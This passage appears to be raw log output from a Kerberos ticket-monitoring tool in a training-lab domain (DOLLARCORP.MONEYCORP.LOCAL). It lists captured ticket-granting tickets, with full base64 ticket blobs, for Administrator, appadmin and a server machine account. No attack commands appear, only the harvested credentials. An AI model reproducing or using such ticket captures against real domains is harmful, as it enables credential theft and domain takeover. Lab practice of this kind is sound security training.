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 [*] 3/2/2024 11:57:37 PM UTC - Found new TGT: User : Administrator@DOLLARCORP.MONEYCORP.LOCAL StartTime : 3/2/2024 3:50:12 PM EndTime : 3/3/2024 1:50:12 AM RenewTill : 3/9/2024 3:50:12 PM Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable Base64EncodedTicket : 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 [*] 3/2/2024 11:57:37 PM UTC - Found new TGT: User : appadmin@DOLLARCORP.MONEYCORP.LOCAL StartTime : 3/2/2024 3:50:00 PM EndTime : 3/3/2024 1:48:49 AM RenewTill : 3/9/2024 3:48:49 PM Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable Base64EncodedTicket : doIF+jCCBfagAwIBBaEDAgEWooIE0TCCBM1hggTJMIIExaADAgEFoRwbGkRPTExBUkNPUlAuTU9ORVlDT1JQLkxPQ0FMoi8wLaADAgECoSYwJBsGa3JidGd0GxpET0xMQVJDT1JQLk1PTkVZQ09SUC5MT0NBTKOCBG0wggRpoAMCARKhAwIBAqKCBFsEggRXIqol9HxN4RD0RBgkBJ49xS1us4xvyGv53oPCbGwW2bW6almLNOo7zduPd9FQlHwpg+Uz17mMNvXS5Gy0LrMyrLYFTVhdi5di58fu6KOCL/balDzpNccFotgEPwk5Hbu9loNlmBEe37rAOIsKv37iq0EVQNE4xhAhweUmgyJWRTIgWysSGN4uUrCGPNARinntL5ezOD/lGX6/EvyVW8B7jc0lJHG6s4ZaNmNR4DHP5LDQXbVKOxsbMy/ThD8NcfvTXNgdW93ItxbkW6zWFo/xSzolFNP15oc/9iYNpAWeqDDqVwrZodD6J4oMTH38ODYs1c7VN0juIPYGldK/IKHH+BNLbZvdaYgzGDU0pgvqfCb9rTre2rmJjj43/HDj9yO27IzF5Ah3MM5PgyXvvOs9gI4kDHVYIfTy1vnrSnosB2eAs0AjdeRLlPblNelrRwPy8vswNRzzr3JQH2eWX14+KBr/uKLkaxKiHcNIofaN6+C+yn0Z/yrasOMXV7LFBsEU0XDd0mhAE95WQix5WBQu5GRZeAKzIcZu2j0EIILRhVnoIqoxEMtBOF+JtMFDhe7rmwAnhR8JsgHeZ0OkSYZTRn7UNvfoZ+OaYaDxz33iSNrTc/tD63WKcuSyu9BqAv87JIzPSWOXl0ri4L2JLociQsChBx7l5qhn72A54/23Z9iPL3ajNlCdQiBzYUrR0pt45kl5UDWzyyWAZhd6ZQd+zqI68YtvQQFGsmWhqI6hMpgQ5HQZav3hfry0lhjZyD+qSl27C+pUQuFwBhEjXOV3gymGSrtb3RDsXaEre1wGVlV4T2w45AQv3he6auqwEdnAX+rcl9geuMpGpPhR5IKEURCAGCf5dwc4d38xxaXuqoUjAW+D4tmmDzkKWt8xrPfO8PV1VhJIL3UP0ZOA7Mj6xATut5riWoifhSF0kYiFRJllNAAuMeTTovmAgfQiFW5Qh/A+vYLCY0LVlfz+V6BhOmnkZnxvi5LWPx0QxNglIRe8AxHFVKsZ7xQOfWpBm45sZId/7yxOtalASYc2OqKgUwWbK0oN414nRNcBQTgxc+gwqV5fItb8Nq/xKUS5ZiHTqAqBdOenwVAAX5psr4SEf3ZVkbZoR7FDUOTxuntjl7Zmik3KfiCX9aT8k0JlvcPC1MgF8YBHk7P4Lx8G44wEIb/6/XjlbwWTyM33SxSPWPUueJpYN2R0nSdaxofCZrGHHUwExu2l37Vpb3OoYHBrvHTmeutTJuVvhZR8jtaW0wCFxPU6eh86dWPIfAKYZgG7IOl0ajnfKG2oWhRWE/ovlMNPZW9CDl7UHif4ASxPt4rXsP148ikRfWQC25JZNb9tizaC0brDj9lD9XbJwnr82AlTS2dZpuggtrsWZJcZTvHMHKwPlu04ki+u+ScWOgtCnv9XACeUCGGYUlLXg1gnVh+LnZLJ/mdHev2Jq2dIkJyl8dozoXZL2hrgyjsRn2UG37VaUIJbFaOCARMwggEPoAMCAQCiggEGBIIBAn2B/zCB/KCB+TCB9jCB86ArMCmgAwIBEqEiBCDHLdsjEF5doj4OM7aIcI/hn8KaeeNx1gGM4ryN6Y39YKEcGxpET0xMQVJDT1JQLk1PTkVZQ09SUC5MT0NBTKIVMBOgAwIBAaEMMAobCGFwcGFkbWluowcDBQBgoQAApREYDzIwMjQwMzAyMjM1MDAwWqYRGA8yMDI0MDMwMzA5NDg0OVqnERgPMjAyNDAzMDkyMzQ4NDlaqBwbGkRPTExBUkNPUlAuTU9ORVlDT1JQLkxPQ0FMqS8wLaADAgECoSYwJBsGa3JidGd0GxpET0xMQVJDT1JQLk1PTkVZQ09SUC5MT0NBTA== [*] 3/2/2024 11:57:37 PM UTC - Found new TGT: User : Administrator@DOLLARCORP.MONEYCORP.LOCAL StartTime : 3/2/2024 3:48:12 PM EndTime : 3/3/2024 1:48:12 AM RenewTill : 3/9/2024 3:48:12 PM Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable Base64EncodedTicket : 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 [*] 3/2/2024 11:57:37 PM UTC - Found new TGT: User : Administrator@DOLLARCORP.MONEYCORP.LOCAL StartTime : 3/2/2024 3:25:12 PM EndTime : 3/3/2024 1:25:12 AM RenewTill : 3/9/2024 3:25:12 PM Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable Base64EncodedTicket : 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 [*] 3/2/2024 11:57:37 PM UTC - Found new TGT: User : DCORP-APPSRV$@DOLLARCORP.MONEYCORP.LOCAL StartTime : 3/2/2024 3:10:28 PM EndTime : 3/3/2024 1:10:28 AM RenewTill : 3/9/2024 5:35:48 AM Flags : name_canonicalize, pre_authent, initial, renewable, forwardable Base64EncodedTicket : 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 [*] 3/2/2024 11:57:37 PM UTC - Found new TGT: User : Administrator@DOLLARCORP.MONEYCORP.LOCAL StartTime : 3/2/2024 3:57:12 PM EndTime : 3/3/2024 1:57:12 AM RenewTill : 3/9/2024 3:57:12 PM Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable Base64EncodedTicket : doIGZjCCBmKgAwIBBaEDAgEWooIFNjCCBTJhggUuMIIFKqADAgEFoRwbGkRPTExBUkNPUlAuTU9ORVlDT1JQLkxPQ0FMoi8wLaADAgECoSYwJBsGa3JidGd0GxpET0xMQVJDT1JQLk1PTkVZQ09SUC5MT0NBTKOCBNIwggTOoAMCARKhAwIBAqKCBMAEggS8TaKk5WZqbl3Zb6MoOlu3rDD5HLLFQJ7xumueMc1pz68VsYwEIw8IiwSnqAfGFFLbGhbbExHHLA3X5BPEjdUhJjsWU4cWdJ0RfRaBa84gDHNpln5R65wH/ParK7doYcMb7RHqEtA18vYLR8/yeyRzKZc6QFQrCGOUFcnAj2ZfX1jwLdrpHjzRBpf+je0k4aMTTCyqSmq7BVUPApyWvqI9kMVJr9sxQoqdbbTax0kbk8HPSHjmz6M1Z3Iv97cyGcaW0C3M+6nFK94x5/puXI8WZGFX015POAaWj2jreeeVT+b3ohYkjakhdceeE8cvrk0XrhzSLj+71q/1UMkOYTPoDoEMXMMtBJbXHmoAKzJ4EzB30PwhTvrJzoZnJtYQhRbSUHx/h6GF35GVtuvloKewCYPVmTTBfI1w63ug0+X/RXYiP/BNteBt9aIu41WBXd6EibdFEKLJoxpThbfXqv8HHdj6GYcIYiVWUt+BbIZONNeBZS0dVDT2gLeTuMrg6v0giNPi5iyWmv7M7OvG5bVrXWy33D5X0xP0lNPek01V1N3kMMrIZyh5IBhqVNhnYgdmMgq2w4LIBhR6dGSK1OSgBG19MYK8Qvi0UfAF7TMPWrDnsYeC8AIvLGqS/lbuOvpZhnjQVbKoY2kcUd348vSKFI7aQwJyYc2bySSBPDTkKOcQfyLixichovK6kPOylz13dE7W2+t46Uz4lwLBkOn8g4raoenLCEXOh6i/JuO4bYJPyAkKtzrHYwTnfsopIuZMNi9FRLQO0dkfwHxcL51PUK2dY7UeYGkPLDCl/D5cgUPzDiYQQAG0rpQiUYWb+oDynXnoYYI1xaEgj/zAu+d4tafwbVsFTRQtW6zzampziYsWIaKSQH+WgUPsJQ2G2vHEueGvZXlHZvFD7zEcrHooJMxDj/RTAhAKATcM2lFS4p7B1qXArkdvgzYgPr8jZ/+yiYgWwyKSms1FOqgHPGOmcjXjXyHCmWlSK36v5uTZtdUc/aFNsH4VN8UU7RTK0WZ/DkmdWBgXcIayPhE4+/LYxmt6gXagxX256xmquakrrjlrAZbEA/XPl5iVvUYA8pwxTHAtkJqHYsd5h6XaoCkBhJiBGVNxdDBw9bscrympS58b6EpKxJPJ4AneLg4LdQoQiE3uqswu4pt6wywFasXO6zqI6Ni5WJeiFZRYCaajuhbDBBfSPIbff86nXJESInFHzAyHcIWtNMeiI5mvnDZEQbFYPp9GdQuVOBzVTZkBvRQA/ko+UBkssUuUPn/Dl6ULj6SFtwKpQaGDqd4i/MspR9odt/xd8j3N9jXBefM3D7JzTAaR0YA/47u1P4Ouf9IT9DV+YBquKLHkakDTFFH7ZfwamUtmFAfvgeNtvybLsR5KVXWK9uXJL3XyveeDaRXKAxAHgKdkqMfNv5pf72tftjp2axPsBXXNx1YMWJ5qfXAtxxUjHsTOEhk0ASKvEQRJWdUKhcJL7vKIEwdqngMnABFYMjNppqWF+IxfB8/+ygy98pG4wWHrD37/6oxXwlZn6cVN9vuDaKX